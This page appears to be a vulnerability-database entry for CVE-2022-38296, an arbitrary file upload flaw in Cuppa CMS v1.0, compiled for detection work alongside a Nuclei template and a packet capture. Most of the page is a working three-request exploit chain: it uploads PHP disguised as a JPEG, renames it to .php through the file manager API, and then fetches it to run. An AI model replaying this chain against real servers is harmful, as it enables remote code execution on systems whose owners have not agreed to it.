🔙 목록으로 돌아가기

CVE-2022-38296: Cuppa CMS v1.0 - Arbitrary File Upload

TitleCuppa CMS v1.0 - Arbitrary File Upload
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to remote code execution and compromise of the affected system.
RemediationApply the latest patch or upgrade to a newer version of Cuppa CMS to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.82103
CVE IDCVE-2022-38296
CWE IDCWE-434
Tags cve cve2022 rce cuppa intrusive cuppacms vuln

🔍 Vulnerability Description

Cuppa CMS v1.0 was discovered to contain an arbitrary file upload vulnerability via the File Manager.

🌐 HTTP Request

POST /js/jquery_file_upload/server/php/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
Connection: close
Content-Length: 834
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MZjlIG8fVPjrlCI
Accept-Encoding: gzip

------WebKitFormBoundary9MZjlIG8fVPjrlCI

Content-Disposition: form-data; name="path"



/

------WebKitFormBoundary9MZjlIG8fVPjrlCI

Content-Disposition: form-data; name="unique_name"



true

------WebKitFormBoundary9MZjlIG8fVPjrlCI

Content-Disposition: form-data; name="resize_width"





------WebKitFormBoundary9MZjlIG8fVPjrlCI

Content-Disposition: form-data; name="resize_height"





------WebKitFormBoundary9MZjlIG8fVPjrlCI

Content-Disposition: form-data; name="crop"





------WebKitFormBoundary9MZjlIG8fVPjrlCI

Content-Disposition: form-data; name="compress"





------WebKitFormBoundary9MZjlIG8fVPjrlCI

Content-Disposition: form-data; name="files[]"; filename="test-38FBiDphbyGXGZBybZqGMRqu3IW.jpg"

Content-Type: image/jpeg



<?php



echo md5("CVE-2022-38296");



?>

------WebKitFormBoundary9MZjlIG8fVPjrlCI--
POST /js/filemanager/api/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.12
Connection: close
Content-Length: 78
Content-Type: application/json
Accept-Encoding: gzip

{"from":"//3Kv3YX","to":"//38FBiDphbyGXGZBybZqGMRqu3IW.php","action":"rename"}
GET /media/38FBiDphbyGXGZBybZqGMRqu3IW.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-38296.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-38296.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A